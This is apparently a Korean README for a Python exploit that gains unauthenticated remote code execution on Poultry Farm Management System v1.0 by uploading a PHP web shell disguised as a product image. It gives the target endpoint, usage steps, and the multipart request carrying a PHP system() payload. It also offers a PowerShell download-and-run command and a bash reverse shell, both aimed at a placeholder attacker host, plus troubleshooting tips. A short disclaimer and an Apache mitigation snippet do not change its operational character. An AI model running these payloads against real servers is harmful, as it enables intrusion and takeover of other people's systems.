
Poultry Farm Management System v1.0의 파일 업로드를 통한 인증되지 않은 원격 코드 실행을 위한 Python 익스플로잇입니다. 취약한 대상에서 임의의 시스템 명령을 실행하기 위해 PHP 셸을 업로드합니다.
인증되지 않은 파일 업로드를 통한 원격 코드 실행
가금류 농장 관리 시스템 v1.0은 제품 업로드 기능에 치명적인 취약점을 포함하고 있습니다. 애플리케이션이 파일 업로드를 적절하게 검증 및 필터링하지 못하여, 공격자가 제품 이미지로 위장한 PHP 파일을 업로드할 수 있습니다. 업로드된 이러한 PHP 파일이 실행되어 원격 코드 실행이 가능합니다.
POST /paultry/farm/product.php or POST /farm/product.php
이 취약점은 다음 방법으로 악용될 수 있습니다:
requests 라이브러리colorama 라이브러리 (색상 출력용)pip install requests colorama
또는 모든 의존성 설치:
pip install -r requirements.txt
스크립트를 대화형으로 실행:
python exploit.py
스크립트가 다음 정보를 요청합니다:
==================================================
Interactive Backdoor Upload Tool
==================================================
Enter target IP address: 192.168.1.100
Enter target port (default: 80): 8080
Enter command to execute (default: powershell payload):
Command: whoami
==================================================
CONFIRMATION
==================================================
Target URL: http://192.168.1.100:8080
Command: whoami
Do you want to proceed? (yes/no): yes
✅ 대화형 입력 - IP, 포트, 사용자 정의 명령어 입력 요청
✅ 기본값 - 편의를 위한 적절한 기본값
✅ 색상 구분 출력 - 읽기 쉬운 색상의 터미널 출력
✅ 확인 단계 - 실행 전 설정 확인
✅ 오류 처리 - 실패한 요청에 대한 우아한 오류 메시지
✅ 유연한 명령어 - 모든 셸 명령어 또는 PowerShell 페이로드 지원
powershell -Command "Invoke-WebRequest http://attacker-ip:8787/shell.exe -OutFile shell.exe; Start-Process shell.exe"
bash -i >& /dev/tcp/attacker-ip/4444 0>&1
whoami
id
ifconfig
hostname
pwd
/assets/img/productimages/에 저장됨system() 함수를 통해 명령어 실행이 트리거됨POST /paultry/farm/product.php
Content-Type: multipart/form-data
category=CHICKEN
product=rce
price=100
save=
productimage=[PHP_PAYLOAD]
<?php system('COMMAND_HERE');?>
익스플로잇은 다음 환경에서 테스트되었습니다:
⚠️ 법적 경고
이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.
<Directory /uploads>
php_flag engine off
AddType text/plain .php .phtml .php3 .php4 .php5 .phar
</Directory>
Error: Connection refused
Solution: Verify the target IP and port are correct and the application is running
Error: Failed to upload shell. Status code: 404
Solution: The endpoint path may differ. Common paths: /farm/, /paultry/farm/
Error: Command output is empty
Solution: PHP execution may be disabled or the file wasn't uploaded correctly
문제, 질문 또는 개선 사항은 GitHub 저장소 또는 Exploit-DB 페이지를 참조하십시오.
마지막 업데이트: 2024년 12월
상태: 확인 및 테스트 완료